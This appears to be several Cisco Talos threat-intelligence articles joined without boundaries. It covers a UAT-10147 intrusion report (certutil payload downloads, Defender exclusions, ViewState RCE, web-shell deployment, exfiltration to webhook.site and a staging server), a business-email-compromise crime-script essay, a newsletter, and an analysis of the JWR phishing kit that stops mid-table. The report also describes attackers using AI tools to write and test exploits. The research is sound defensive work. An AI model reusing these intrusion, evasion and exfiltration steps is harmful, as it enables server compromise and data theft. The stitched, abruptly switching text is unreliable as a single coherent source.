The main script is executed after the threat actor obtains RCE or establishes an implant on the victim’s web server. It is commonly named “back.txt” or “back.bat”. This code represents a multi-stage malware deployment script that utilizes certutil to download a privilege escalation tool (EfsPotato, renamed as “prcc1.rar”), a secondary batch script (“bai.bat”), and the QuasarRAT payload (disguised as “svchosts.exe”). Using the EfsPotato tool to gain elevated system privileges, the script modifies the Windows Registry and uses PowerShell to add specific directories to the Windows Defender exclusion list, effectively hiding the malware from antivirus scans. Finally, the script attempts to delete its initial staging files and scripts to cover its tracks and hinder forensic analysis. Notably, during our research, we observed the threat actor deploying other implants in similar campaigns, including Gh0stCringe and SPECTRE. Please see this accompanying blog post on Talos' research into UAT-10147's use of the SPECTRE implant.
Figure 5. “back.txt” script file.
The secondary batch script then silently executes the backdoor and establishes persistence by creating deceptive scheduled tasks named "Google Chrome Start" that run the malware with the highest privileges every time a user logs on.
Figure 6. “bai.txt” script file.
To deploy the BadIIS malware on the target machine, UAT-10147 would likely perform the following activities:
The threat actor utilizes a privilege escalation tool to add standard IIS directories (“System32\inetsrv” and “SysWOW64\inetsrv”) to the Windows Defender exclusion list via PowerShell and Registry modifications. This defense evasion tactic effectively blinds the antivirus to the directories where the malicious IIS modules will be dropped.
The threat actor then conducts local reconnaissance by executing the IIS management tool appcmd to enumerate the server's website configurations, likely to identify injection targets for the BadIIS module.
prcc1.rar cmd.exe /C C:\Windows\system32\inetsrv\appcmd list site /config /xml
Finally, the attacker executes user.bat with elevated privileges to create a rogue local user account adding it to both the local Administrators and Remote Desktop Users groups to guarantee persistent, highly privileged Remote Desktop Protocol access to the compromised machine.
Figure 7. “user.txt” script file.
Linux platform infection chain
Figure 8. Linux infection chain.
The attack begins with the threat actor sending a RCE payload to a vulnerable server to gain an initial foothold. Following successful exploitation, a web shell is deployed on the compromised Linux server, providing the attacker with persistent and interactive command execution capabilities. Leveraging this access, the threat actor proceeds to escalate privileges using a broad arsenal of known Local Privilege Escalation (LPE) exploits. Below are the exploits UAT-10147 used.
CVE-2022-0995 targets a flaw in the Linux kernel's watch_queue event notification mechanism, allowing an unprivileged user to write arbitrary data out-of-bounds and achieve privilege escalation.
CVE-2021-3156, known as "Baron Samedit," is a heap-based buffer overflow vulnerability in the Unix sudo utility that allows any local user — even those not listed in the sudoers file — to gain root privileges without authentication.
CVE-2015-5287 exploits a vulnerability in the ABRT (Automatic Bug Reporting Tool) sosreport functionality, where improper handling of symbolic links can be abused by a local attacker to escalate privileges.
CVE-2015-3246 abuses a flaw in libuser's roothelper component, where improper file handling allows a local attacker to corrupt the “/etc/passwd” file and gain root-level access.
CVE-2010-3904, one of the older vulnerabilities in the chain, exploits a flaw in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation, specifically in the rds_page_copy_user function, allowing a local unprivileged user to write to arbitrary kernel memory addresses and escalate privileges to root.
CVE-2022-0847, widely known as "Dirty Pipe," is a high-severity Linux kernel vulnerability that allows unprivileged users to overwrite data in read-only files by exploiting a flaw in the way pipe buffers are handled, effectively enabling privilege escalation or arbitrary file modification.
Once root-level access is achieved, the attacker deploys multiple implants such as NoodleRAT, SPECTRE, and Meterpreter which establish outbound connections to remote command and control infrastructure.
Post-compromise strategy
Talos observed the adversary employing a two-pronged attack strategy to compromise target environments, including exploitation of known one-day vulnerabilities and using AI tool-assisted reconnaissance and payload generation.
Known one-day vulnerabilities
The threat actor heavily relies on publicly disclosed vulnerabilities to achieve RCE across both Windows and Linux web servers. To weaponize these flaws, the threat actor utilizes the Metasploit Framework to construct targeted exploits and deploy Meterpreter backdoors. Specific vulnerabilities exploited in this campaign include CVE-2022-27925, an unauthenticated RCE in the Zimbra Collaboration Suite and CVE-2021-23758, an AjaxPro deserialization RCE.
We also observed the threat actor weaponizing CVE-2021-29441 and CVE-2021-29442, an arbitrary code execution vulnerability within the Nacos framework. The exploit leverages the ScriptEngineFactory Service Provider Interface to execute malicious instructions. Upon class loading, the payload invokes Runtime.exec() to spawn an OS-level shell, dynamically adapting to the victim's environment by executing /bin/bash on Linux or falling back to cmd.exe on Windows. Once the shell is established, the payload utilizes curl to exfiltrate basic system telemetry. It POSTs the output of id and hostname (on Linux) or %USERNAME% and %COMPUTERNAME% (on Windows) directly to an attacker-controlled Nacos configuration server. By routing exfiltrated data to a legitimate cloud-based configuration management service, the attackers effectively blend their traffic with normal administrative operations. This infrastructure choice acts as an asynchronous exfiltration sink, allowing the adversaries to poll their own Nacos instance to verify successful exploitation across victims without the operational overhead or detection risk of establishing a persistent reverse shell or maintaining direct inbound connections.
Figure 9. CVE-2021-29441 and CVE-2021-29442 exploit code.
Talos also captured the exploitation of CVE-2019-18935, a well-known .NET JSON deserialization vulnerability affecting Telerik UI for ASP.NET AJAX. The threat actor actively probes the environment to verify the presence of the Telerik file upload handler and fingerprint the software version. Once a vulnerable instance is confirmed, the threat actors deploy a customized, weaponized proof-of-concept to achieve arbitrary file upload and subsequent RCE. During the post-exploitation phase, the threat actor drops compiled reverse shell payloads to disk. We observed these malicious DLLs utilizing a distinct, randomized naming convention, specifically formatted as: [10 digits].[7 digits].dll.
Figure 10. Reverse shell upload by CVE-2019-18935.
AI-driven offensive tool assistance
In their second strategy, UAT-10147 leverages a suite of advanced, AI-driven offensive tools. Specifically, they utilize DeepAudit for source code vulnerability scanning. While we have not directly observed the actor exploiting vulnerabilities discovered by DeepAudit in victim environments, we did observe the framework installed on their management server. Consequently, we assess with high confidence that they intend to use it to identify vulnerabilities within target website source code or third-party package libraries. It is also highly plausible that the threat actors are also leveraging DeepAudit for defensive purposes — such as proactively auditing their own infrastructure, custom tooling, or management servers to prevent exposure and compromise by rival actors or security researchers.
Figure 11. DeepAudit framework.
Furthermore, Talos observed the threat actor installing the PentestGPT framework on their C2 server and using it to dynamically scan web servers and execute relevant proof-of-concept exploits. The threat actor successfully exploited a website and gathered information about the victim machine using Linux commands.
Figure 12. PentestGPT framework.
Additionally, UAT-10147 is leveraging AI-driven tools to build end-to-end offensive workflows. By utilizing the ysoserial framework, these tools generate custom malicious payloads designed to exploit unsafe Java object deserialization vulnerabilities. The AI tool not only creates a well-documented README instructing the attacker on how to use ysoserial to infiltrate the target server, but it also generates three companion Python scripts. These scripts enable the threat actor to easily verify writable paths and permissions, deploy an implant via a ViewState RCE, and drop a web shell onto the compromised machine using the same ViewState deserialization flaw. Furthermore, UAT-10147 employs AI tools to conduct quality assurance testing on the ViewState RCE, effectively using the AI to validate that the exploit functions correctly against the target.
An ASP.NET ViewState deserialization RCE guide created by AI
The opening section outlines the threat actor’s required prerequisites: specifically, the ValidationKey, DecryptionKey, their respective algorithms (SHA1, AES, and 3DES), the target page's __VIEWSTATEGENERATOR value, and the destination URL. The threat actor noted these values are typically obtained via the open-source tool badsecrets, which maintains a database of publicly known or leaked ASP.NET MachineKey configurations. This first step illustrates that the threat actor’s success is entirely dependent on key material exposure making MachineKey confidentiality the most critical defensive control.
Figure 13. Section 1: Prerequisites.
Before committing to full exploitation, the attacker documented a low-noise technique to verify whether a stolen MachineKey is valid against a live target. By submitting a deliberately malformed ViewState payload, they distinguish between two distinct HTTP 500 error messages:
MAC Validation Failure: Indicates an incorrect validation key was used, preventing deserialization.
InvalidCastException: Confirms the validation key is correct and that the payload was successfully deserialized by the server.
This error message allows the attacker to silently confirm key validity without triggering meaningful command execution.
Figure 14. Section 2: MachineKey validation.
This section details the threat actor's use of “ysoserial.exe”, a well-known .NET deserialization payload generation toolkit, configured specifically for the ViewState attack surface. The guide documents the TypeConfuseDelegate gadget chain as the preferred choice, noting it leverages Process.Start() for command execution and remains fully functional on .NET 4.8. Importantly, the attacker explicitly corrects a common misconception: Contrary to claims in several public articles, .NET 4.8 does not patch these gadget chains.
Figure 15. Section 3: Payload generation.
The fourth section provides a Python automation script that integrates ysoserial.exe invocation and HTTP POST submission into a single workflow. The script targets the __VIEWSTATE parameter with the generated payload, mirrors the __VIEWSTATEGENERATOR value in both the POST body and the generation arguments (a critical alignment requirement), and intentionally suppresses redirects. The threat actor also documents a response-code interpretation table. Notably, an HTTP 500 with InvalidCastException is the expected success indicator, not a failure. This inverted success condition is a defensive blind spot: network monitoring tools that alert on 5xx responses may generate excessive noise, while the actual exploit succeeds silently in the error stream.
Figure 16. Section 4: Payload delivery.
The fifth section in the guide documents a critical lesson the threat actor learned through trial and error: Time-based blind testing (e.g., ping -n 10 or timeout /t 10) is entirely ineffective for confirming ViewState RCE. Because Process.Start() is asynchronous and returns immediately, no execution delay is observable from the HTTP response. The attacker pivoted to out-of-band (OOB) HTTP callbacks using certutil, PowerShell + curl, and DNS nslookup to confirm execution.
Figure 17. Section 5: RCE confirmation via OOB callback.
Following RCE confirmation, the guide documents a systematic reconnaissance playbook executed entirely via PowerShell encoded commands, a well-known AMSI and logging evasion technique. The attacker collects system information, privilege tokens, web directory listings, IIS site configurations, network interface data, and running processes and all exfiltrated via HTTP POST to a remote web hook.
Figure 18. Section 6: Post-exploitation reconnaissance and data exfiltration.
With reconnaissance data, the AI documented three escalating methods for establishing persistent interactive access. The preferred path is direct deployment of a custom implant, referred to internally as "SPECTRE," via certutil download. As fallbacks, the guide covers writing an ASHX web shell to the IIS webroot, with a note on handling AppPool write permission restrictions, and a PowerShell TCP reverse shell.
The final exploitation step documented is privilege escalation from IIS AppPool identity to SYSTEM. The guide identifies SeImpersonatePrivilege, a token privilege routinely granted to IIS worker processes, as the escalation vector, and lists the "Potato" family of exploits as compatible tools. The AI also references a built-in capability within their SPECTRE implant to perform this escalation automatically.
Figure 20. Section 8: Privilege escalation path.
This ninth section represents the most significant finding in the recovered artifact: a detailed record of an active intrusion against a real target. The document logs specific infrastructure details including target hostnames, backend and frontend IP addresses, the exploited page path, .NET runtime version, and the MachineKey values used. Of particular note is the observation that a MachineKey is scoped to the IIS site level, meaning keys extracted from one virtual host cannot be applied to co-hosted sites.
Figure 21. Section 9: Operational case record.
Check paths script created by AI
The first Python script (“check_paths.py”) was recovered from the threat actor infrastructure and represents a post-exploitation diagnostic step. It has five sequential OOB callback tests to a “webhook.site” exfiltration endpoint:
Confirm baseline write capability (“c:\windows\temp”) that validates RCE is functional
Exfiltrate the ACL of the target webroot (icacls) that checks if IUSR/IIS_IUSRS can write
Attempt direct file write to the webroot, capturing the exact exception if it fails
Query IIS physical paths via “appcmd.exe” list vdir that discovers actual virtual directory mappings
Probe multiple candidate webroot subdirectories for both existence and write access
After firing all probes, the script polls the webhook.site API directly to harvest all callback results in-session.
Figure 22. Diagnose web shell write failure.
Deploy implant script created by AI
The second Python script (“deploy_implant.py”) handles the execution phase. Leveraging the same ViewState deserialization primitive, this script downloads and launches the SPECTRE binary implant. The implant is hosted on the attacker's C2 infrastructure and is initially retrieved by the victim's machine using certutil. Following a six-second sleep period, the script executes a PowerShell probe utilizing Test-Path and Get-Item.Length to verify the deployment, reporting the results back via the established webhook.site exfiltration channel. Should the certutil download fail, the script features a built-in fallback mechanism, automatically retrying the download using New-Object Net.WebClient.
Figure 23. Deploy implant steps.
Deploy shell script created by AI
The third Python script (“deploy_shell.py”) establishes persistent access within the attack chain. Its objective is to deploy a durable ASHX web shell (“sss.ashx”) onto the compromised IIS server utilizing the same ViewState deserialization primitive seen in the previous scripts. Because the deserialization vulnerability only permits command execution rather than direct file uploads, the script circumvents this limitation using a two-step approach. First, it uses PowerShell to write a temporary file upload handler (“up.ashx”) to disk. Second, it leverages this newly created handler as an HTTP relay to upload and place the final web shell (“sss.ashx”).
The first step involves deploying a minimal, eight-line C# ASHX handler to the target server. To accomplish this, the script Base64-encodes the handler's source code and subsequently leverages the PowerShell [IO.File]::WriteAllBytes method to decode and write the file directly into the webroot.
Figure 24. Write “up.ashx” via PowerShell.
The second step is to verify “up.ashx” is reachable.
Figure 25. Verify “up.ashx” is accessible.
The third step involves uploading the final web shell via the previously established upload handler. The script initially attempts to source the web shell from a hardcoded local path on the attacker's machine: “C:\Users\dajiba\Desktop\phantom-v2\data\arsenal\webshells\sss.ashx”. If this local file is unavailable, it employs a fallback mechanism, downloading “sss.ashx” from a secondary staging server located at “139.180.197[.]150:54321”. Finally, the web shell is transmitted to “up.ashx” via an HTTP POST request, utilizing an explicit destination path parameter to deploy it across both virtual host webroots. Analysis of the remote machine revealed the username “dajiba.” This string is the pinyin romanization for the Chinese term “大雞巴.”
Figure 26. Uploading the final web shell via upload handler.
The final step confirms that the web shell is live by fetching it and verifying that the HTTP response size exceeds 100 bytes. Once validated, the script immediately initiates a live execution test by sending the following payload: {'a': 'Execute', 'cmd': 'whoami', 'p': 'dir'}.
Figure 27. Verifying final web shell.
Exfiltration script created by AI
The fourth python script (“exfil.py”) blends exfiltration traffic with legitimate software-as-a-service (SaaS) traffic over HTTPS to a webhook.site endpoint. The exfiltration have three stages and each stage command is encoded as UTF-16-LE Base64 and passed to powershell -nop -enc. Below are three distinct reconnaissance payloads fired sequentially:
Webroot enumeration: dir C:\inetpub\wwwroot\ -Name reveals deployed applications and potential secondary attack surfaces.
IIS site inventory: appcmd.exe list site exposes the full virtual hosting topology, binding configurations, and additional host names running on the same box for preparation of the next stage BadIIS installation.
Privilege assessment: whoami /priv determines whether the IIS worker process runs under a high-privilege account (e.g., NETWORK SERVICE with SeImpersonatePrivilege), the standard prerequisite for a token impersonation or Potato-family privilege escalation.
Figure 28. Three stage for exfiltration.
Findings log created by AI
Talos analyzed a findings log that documents confirmed RCE via ASP.NET ViewState deserialization on a target IIS server. Using a webhook.site listener, the threat actor received more than 12 HTTP callbacks. These callbacks not only confirmed the successful execution of four distinct ysoserial gadget chains on .NET 4.8.4797.0, but they also exfiltrated valuable reconnaissance data. The exfiltrated telemetry revealed the host name and user identity, that the webroot contained 13 site directories, and recorded an access denial when attempting to read “redirection.config”. In addition, the data also confirmed that SeImpersonatePrivilege was enabled, highlighting a viable path for Potato-family privilege escalation.
Figure 29. Findings log for confirmed RCE.
Coverage
The following ClamAV signatures detect and block this threat:
Py.Loader.Tool-10060293-1
Py.Loader.Tool-10060293-2
Win.Malware.Generic-10060228-0
Win.Loader.Downloader-10060287-1
The following SNORT® rules (SIDs) detect and block this threat:
Snort2: 1:66697, 1:66696
Snort3: 1:66697, 1:66696
Indicators of compromise (IOCs)
IOCs can also be found in our GitHub repository here.
Crime script analysis is a narrative-driven technique that can be used alongside, or as an alternative to, tactics, techniques, and procedures (TTPs) — creating human-readable stories that describe attacks in a way non-technical audiences can understand.
By analyzing the attacker’s workflow, we can identify how AI can be used to industrialize attacks. Through considering a business email compromise (BEC) example, we demonstrate how attackers may scale the attack to target previously unprofitable victims.
Deconstructing an attack into discrete steps allows defenders to pinpoint intervention points where defenses can be effectively deployed, or where strategic disruption can break the script and thwart the threat actor's operation.
Effective defense against cyber attacks requires understanding how attacks are carried out and identifying where the attack can be disrupted or detected.
Lockheed Martin’s Cyber Kill Chain was one of the earliest models to describe the steps required to conduct a cyber attack. However, its seven-step linear sequence is too rigid to apply to many attacks.
The Attack Flow model of the MITRE ATT&CK framework allows various tactics, techniques, and procedures (TTPs) to be chained together to describe exactly how attacks are conducted, including branches and loops if necessary. The resulting graphs are comprehensive, but can be daunting to a non-technical audience. In a world of evolving threats and shrinking budgets, defenders need techniques to communicate threats to a wider audience.
Crime script analysis (CSA) is a technique originally developed in the mid-1990s as a criminology tool to understand how crimes are committed. CSA allows us to decompose an attack into a sequence of actions, decisions, and situational requirements. Describing an attack as a narrative using everyday language not only makes the description accessible to non-technical audiences, but also to identify "choke points" where the crime can be disrupted.
If MITRE ATT&CK TTPs describe the building blocks that comprise an attack, Attack Flow diagrams are the structural engineering blueprints showing how the blocks fit together, and CSA is the architect’s artistic impression of the finished building. Each component has their place in providing a picture of what is happening at different levels of abstraction for different audiences.
Business email compromise as a case study
The business email compromise (BEC) is a common scam. Someone with financial authority receives a message purporting to be from a superior in the same organization requesting an urgent payment. If the victim is fooled, payment is released to the scammer, who acts quickly to launder the money to disguise its origin before the scam is uncovered.
In April I wrote about such an attack against a small, community sports club of which I am a member. The sum requested in the attack wasn’t large, so the reason was plausible. However, the tone of the email wasn’t quite correct. The treasurer’s suspicions were raised and the attempted fraud uncovered.
This incident was particularly interesting because of the small scale of the attack. Historically, the research necessary to conduct the attack — the identification of the target victim, the person spoofed, the nature of the social engineering lure — has limited its scalability. Carrying out these tasks manually takes time and has meant that it has typically been conducted against larger businesses.
The advent of AI means that the previously time-consuming preparative work can be automated. Expressing the attack as a crime script helps us understand where AI may assist the attacker and how the attack could be disrupted.
Putting BEC in the crime script narrative
We can imagine the crime script for the attack as follows:
Figure 1. A general BEC crime script.
Steps 1 – 4 are time consuming to perform manually, but can be automated with AI. This efficiency improvement allows an attacker to identify many targets and shifts the execution of the attack from a higher value fraud against a few targets to a lower value fraud against many targets.
The personalization of the social engineering in Step 5 can also be conducted using AI. The attacker can generate urgent requests for payment that are relevant to the target organization and may appear credible to the victim.
Identifying intervention points
Considering the narrative of the attack helps with reflection on how the attack might be disrupted. Clearly, Steps 1 – 4 can be disrupted by seeding AI with fake canary organizations. These are fictitious honeypot entities that have public personas discoverable by AI agents, but otherwise serve no purpose. The source of messages sent to honeypot organizations can then be blocked, disrupting Step 6.
Interactions with large language models (LLMs) leave traces that can be identified by security teams. While distinguishing malicious prompts from legitimate business inquiries is difficult, there is potential for AI providers to detect repeated patterns of reconnaissance and the generation of social engineering messages. This leaves Step 5 vulnerable to disruption by providers of AI systems.
The most effective disruption point remains Step 6, the delivery mechanism. Anomalous account behavior or high volumes of outgoing mail from a single source should trigger immediate rate-limiting or reputation-based blocks by email service providers.
The final point for intervention is with the victim at Step 7. Increased awareness of the scam helps victims recognise any potential attacks that do get through. Implementing strict processes such as requiring purchase orders that must be verified and implementing delays before payments are made can all help prevent losses.
Conclusion
Crime script analysis does not replace the ATT&CK framework; rather, it provides an alternative narrative format for documenting attacks. Describing threat actor activity using natural language opens the understanding of the attack to a wider audience and enables collaboration with other teams. The technique also helps defenders understand where attackers may be applying AI tools to automate processes, and spark ideas at how this might be thwarted.
Welcome to this week’s edition of the Threat Source newsletter.
“Experiment is the mother of knowledge.” ― Madeleine L'Engle, A Wrinkle in Time
“Don't slide down the rabbit hole. The way down is a breeze, but climbing back's a battle.” ― Kate Morton, The Clockmaker's Daughter
Hacker Summer Camp has come and gone, which means it’s time for you to start planning next year’s trip. I’m surely going to recap Camp Season, right? Nope.
One of the things that I’ve really enjoyed lately is a segment on the Beers with Talos podcast that we call “Make Hazel a Hacker.” If you haven’t listened to it, this is a perfect time to start. Each episode we take a few minutes and pose a security question, term, or concept to Hazel and force her to come up with an idea or explanation on the spot. There are no parameters, so she’s faced with the entirety of information security — past, present, and future. I know, it’s insane. The craziest part is that (I think) Hazel came up with this idea and still volunteered to put herself in the line of fire.
As we put Hazel’s feet to the fire, one of my favorite things happens: The rest of us listen in and offer our thoughts during her brainstorming process. Invariably, we’ve got three very different answers, ideas, hints, or directions for her. It’s surely maddening for Hazel, but to me, the best part of the discussion that inevitably follows is that although they’re all different, they’re all correct.
For example, this past episode I asked her about a behavioral indicator (regarding “wallpaper.bmp”) that seems benign on its own, but can be interesting to use as a pivot for a threat hunt. We had various interesting angles to consider, backed by years of knowledge and experience. It gave us a good conversation, and that was a .bmp!
One of the most nebulous things to learn in this field is that multiple things can be both different and correct. When you are making your decisions this week — whether it’s deciding on a new pivot in your hunting, what devices to prioritize in your patching and updating, or which books or online training to focus on — take a quick second and get a second, third, and fourth opinion. Then try something that’s outside of your normal wheelhouse but sounds good when it’s proposed.
None of this is a solo sport. It’s a team game and the best plays come from a mix of perspectives, experiences, and mistakes. The “right” answer can wear many faces, and your ability to hold different truths will lead you to undiscovered territory, the rabbit hole where anomaly lives and breathes. So... welcome back from Vegas. Now go down a rabbit hole on a path you wouldn’t normally take because one of your friends (Joe) or your mortal enemy (Dave) told you that it would work.
“She'd been to Narnia, Wonderland, Hogwarts, Dictionopolis. She had tessered, fallen through the rabbit hole, crossed the ice bridge into the unknown world beyond.” ― Anne Ursu, Breadcrumbs
The one big thing
Cisco Talos recently discovered "JWR," a previously undocumented, real-time phishing framework and likely variant of "The Outsider" phishing-as-a-service platform. JWR uses an open WebSocket connection that allows attackers to monitor keystrokes live and dynamically steer victims through fake checkout and login flows. Currently deployed via SMS lures impersonating regional toll and postal authorities, JWR enables operators to steal payment data, 2FA codes, identity documents, and device fingerprints.
Why do I care?
Because JWR is operator-driven in real time, attackers can actively bypass multi-factor authentication (MFA) by prompting victims for 2FA codes exactly when needed. The sheer volume of collected data gives threat actors a comprehensive identity profile primed for extensive follow-on fraud and network compromise. Furthermore, JWR's seamless integration with legitimate e-commerce platforms like Shopify makes these lures incredibly convincing to the untrained eye.
So now what?
Prioritize user education around SMS-based phishing (smishing), specifically regarding unsolicited delivery or toll fee messages. Monitor for unusual authentication attempts, as stolen device fingerprints and session tokens can bypass conditional access policies. Where possible, implement phishing-resistant MFA methods like FIDO2 hardware keys. For a complete list of indicators of compromise (IOCs) and coverage updates, read the full blog.
Top security headlines of the week
Ransomware hits Colombian Justice Ministry days before presidential transition The attack, which disrupted some services around illicit-drug monitoring and legal processes, came a day after Colombia's national CERT published threat intelligence warning that ransomware groups had increased their focus on the country. (Dark Reading)
FBI investigating North Korean remote IT staffer working for U.S. agency It’s unclear what agency was impacted, how long the intrusion lasted, and whether any sensitive data was stolen. Experts say it’s highly likely the staffer was a remote IT employee doing contract work on behalf of an agency. (Federal News Network)
Hackers leverage new Microsoft SharePoint exploit in attacks A proof-of-concept exploit for a critical Microsoft SharePoint authentication bypass security flaw in the JWT token validation pipeline is already being used in attacks. (BleepingComputer)
Signal adds new security feature to thwart adversary-in-the-middle attacks Signal has introduced Automatic Key Verification, a new security feature that gives users a new way to ensure their encrypted chats haven't been intercepted. (BleepingComputer)
A data breach at shipping giant Ceva Logistics is rippling across banks, retailers, Steam gamers, and beyond The cyberattack on Ceva is affecting at least eight warehouses across Europe used for shipping goods across the continent. Several companies reported that hackers took their customers’ names, home addresses, phone numbers, and email addresses used to place their orders from Ceva’s systems. (TechCrunch)
Can’t get enough Talos?
Don't scan that! QR code phishing and cloud-native threats What happens when a QR code leads to a major security incident? In this episode, Amy sits down with Senior Incident Response Consultant Terryn Valikodath to break down a recent, high-stakes breach at an Australian medical center
Microsoft Patch Tuesday for August 2026 Microsoft has released its monthly security update for August 2026, which includes 421 vulnerabilities affecting a range of products, including 62 that Microsoft marked as "critical." One of the vulnerabilities disclosed this month has been exploited in the wild.
Cisco Talos recently identified an undocumented phishing framework, internally branded "JWR" by its developer, built to convincingly impersonate checkout and login pages across major payment and shopping platforms.
The client engine of the JWR phishing framework is a real-time, operator-driven system that, rather than merely logging form submissions like a static credential-stealing page, keeps an AES-CTR encrypted WebSocket open to the threat actor so they can steer each victim's session live.
The victim data targeted by the actor using JWR extends well beyond payment data, encompassing identity documents, Social Security numbers, passport and driver's license images, website and PayPal credentials, 2FA codes, and full device fingerprints, all committed to the actor's server once a session ends.
Talos assesses with medium confidence that the JWR phishing framework is a variant of "The Outsider," a phishing-as-a-service (PhaaS) platform, based on several similarities in the client engine scripts and functionalities of the two PhaaS platforms.
Talos observed a real-world campaign delivering the JWR client via SMS lures impersonating toll authorities, and postal and courier services of several countries in Southeast Asia and the Middle East.
JWR phishing framework, a likely variant of the Outsider
JWR is a phishing framework capable of harvesting complete payment card data, login credentials, and personally identifiable information (PII) documents and images in real time. The client-side engine of the framework impersonates login, and checkout flows of several payment gateways, including Shopify, PayPal, Apple, Klarna, and banks, while allowing the operator to stealthily control the victim session through an AES-CTR encrypted WebSocket channel. The client engine architecture is divided into a Host Bridge module that relays commands into a phishing inline frame (iframe) and a Vue.js victim application that renders across 44 phishing pages, streams the victim's keystrokes to the actor as they are typed, and carries out more than 40 distinct instructions issued from the command-and-control (C2) console. The data exfiltration schema is a cvvform object that includes fields such as credit card number, CVV, PIN, expiry date, Social Security Number (SSN), passport or ID images, two-factor authentication (2FA) codes, website logins, PayPal credentials, and device fingerprint.
Talos discovered that the JWR client engine shares significant code and functional similarities with the client of The Outsider PhaaS platform operated by the Chinese-speaking actor “Outsider Enterprise,” which was reported by external researchers.
The execution starts when the parent phishing webpage loads and executes the client's engine. It checks a single global flag, window.__HOST_MODE, which is set by the parent phishing page, and selects one of two execution modes. If the flag is set, the script enters Host Mode, and control passes to the Host Bridge module, an immediately invoked function expression (IIFE) that operates within the parent page, typically a replica of a legitimate checkout or account login page, relaying received details into a child iframe that contains the actual phishing form. It establishes a persistent WebSocket connection to the actor’s C2 server.
If the flag is not set, the page enters Content Mode, and control passes to the Vue.js Application, an interactive front end that renders the phishing pages, collects victim input, manages the flow across 44 HTML files, and handles the actor’s instructions from the C2 server, ultimately redirecting to a custom error page after sending the data to the C2. The Content Mode of execution has three communication modes: standalone, pluginIframe, and hostIframe.
In standalone mode, the application fully owns its WebSocket connection.
In pluginIframe mode, it has no direct link to the network at all and instead sends everything upward to an embedding plugin frame.
In hostIframe mode, it defers entirely to a parent page already running as the relay bridge.
Regardless of which of these three modes or through the Host Bridge is used, the data is either sent to C2 as plain text in JSON format with the DEV_MODE flag set, or it is passed to the JwrCrypto module, which encrypts it with a newly generated key before sending it to the C2 server.
The script engine includes a background worker module that maintains the connection with C2, keeping it alive independently of page navigation for the remainder of the session. In a live session activity, the script continuously streams the victim’s keystrokes to the actor's C2 server as captured data, while that the actor continuously sends the next instruction to be executed from the C2 server. Each incoming instruction is checked by the client engine against a brief history to ensure that nothing already executed runs twice, then routed by the Instruction Handling module to one of two outcomes including, redirecting the victim to a different phishing page or updating the current page's state and displayed status, awaiting the actor’s next instruction. This execution loop repeats until the actor decides to keep the session alive, and when the actor chooses to close the session, the accumulated data is transmitted to the C2 one last time, and the victim is redirected.
JWR Client’s host bridge mode
In host bridge mode, the IIFE establishes a persistent WebSocket connection to the actor's server, manages the victim's session identity, excludes repeating incoming instructions, and proxies all communication between the server and the phishing child iframe.
Every victim is assigned a unique session token the moment the bridge initializes. It first checks persistent storage for an existing JWRCID value if the victim has visited the page before, and if true, the same token is reused, allowing the actor to correlate multiple visits from the same device. If none exists, a new token is generated in the format JWRCVV-{Date.now()}-{random1}-{random2}, with both random segments being 13-character base-36 strings, and this token becomes the victim's permanent identifier for the entire C2 communication.
The module then spawns a Web Worker from a separate script located at static/js/ws-worker.js, which isolates the WebSocket from the main JavaScript context, allowing the connection to persist during navigation within the phishing flow. The WebSocket connection path is constructed as webSocket/QT/{sessionId}/khkjsahfjkwhakjlsdwdddddd88, where the alphanumeric suffix is likely a server-side authentication token that ensures the connection originates from a deployed kit instance.
The host bridge incorporates an anti-analysis check, which serves as a one-time execution guard that performs a self-referential .toString().search() call against a backtracking regex. This check detects whether a debugger has attached the function to modify its apparent source. Additionally, a decoy variable is scattered throughout the code to mislead static-analysis tools.
Moreover, it maintains a JSON array named JwrExecutedInstructions in sessionStorage to prevent the same operator instruction from executing more than once. Before relaying any instruction into the phishing iframe, it verifies the instruction ID against a list. If a match is found, it discards the repeating instructions. If it is a new instruction, it sends an acknowledgment back to the C2 server in the format {type:"instructionAck", instruction_id:, cvv_id:}. The list is limited to 50 entries and is trimmed to retain the most recent 30.
Figure 3. Deobfuscated view of JWR client’s instruction handling and acknowledging functions of Host bridge mode.
Content Mode operation (Vue.js application), the real-time capture
The Vue.js victim application developed by the JWR developer is a single Vue 2.X instance, window.vm = new Vue ({el: ‘#app’, ...}), mounted on a Document Object Model (DOM) element with the id “#app”. This application serves as the phishing page that the victim sees and interacts with. It is responsible for rendering the checkout forms, collecting and streaming input to the C2, executing the actor’s instructions, and performing the exfiltration function.
When the Vue instance is constructed, the created function is executed, processing the data passed from the fake webpage the victim visited, but without attaching the page. It generates the session ID and clears any sensitive fields leftover from a prior page visit if the victim had previously accessed the same fake page. It also restores any previously saved session state from “sessionStorage” if it exists. Then, it redirects the victim from any page other than index/login/home that lacks a session ID to a_index.html, ensuring the victim enters the phishing flow. Finally, the Vue takes the rendered output and attaches it to the #app element in the page's DOM, making the interface visible and interactive to the victim.
Once the DOM is ready, Vue executes the mounted function asynchronously, at which point the victim becomes visible to the actor. It determines the engine’s execution mode and then executes two functions: getIPInfo() to geolocate the victim’s IP address and getSyncSettings() to pull the actor’s configuration from the C2 server. Next, it initializes the communication channel, captures the victim's action, and creates a CVV form with the victim's device fingerprint data. This includes the victim's current form of state, such as device type, browser, language, time zone, and geolocation, which are encrypted and sent to the actor's C2 server.
Figure 4. Deobfuscated view of JWR client’s Vue app’s initialization and mounting functions.
One of the key features of the JWR kit is its near-real-time input streaming. Each input element in the phishing form is transmitted to the actor’s console, allowing the actor to view partial card numbers, partial passwords, and partial verification codes as the victim types, without needing to wait for the victim to click any submit button. This mechanism enables the actor to see the victim's data and determine which instruction to send to the client's engine from the C2 before the victim even submits the form.
Before the Vue instance is created, the client engine establishes an instruction mapping table that correlates over 40 actor command names with specific HTML page filenames, thereby granting the actor remote control over the victim browser session.
Figure 5. Deobfuscated view of JWR client’s Vue app’s initialization and mounting functions.
The JWR client script includes a C2 command dispatcher. When the actor sends an instruction, the client receives, decrypts, and forwards it to the dispatcher function, which routes it to the appropriate handler based on the instruction type. The table below displays the actors' instructions from C2, facilitated by the JWR client kit.
Instructions
Purpose
to_index
Send victim to the landing/entry page
to_login
Send victim to site-login page
to_password
Prompt for account password
to_info
Collect PII
to_card
Send victim to card-entry page
to_qr
Show QR code for scan-based verification
to_sms
Request SMS OTP
to_sms_login
Request SMS OTP for login step
to_sms_bank
Request SMS OTP for bank verification
to_2fa
Request 2FA code
to_text_verify
Request custom text/code verification
to_email
Request email OTP
to_pin
Request card PIN
to_app
Request bank-app push approval
to_login_app
Request app-based login approval
to_bank_login1
Step 1 of multi-stage bank login
to_bank_login2
Step 2 of multi-stage bank login
to_bank_login3
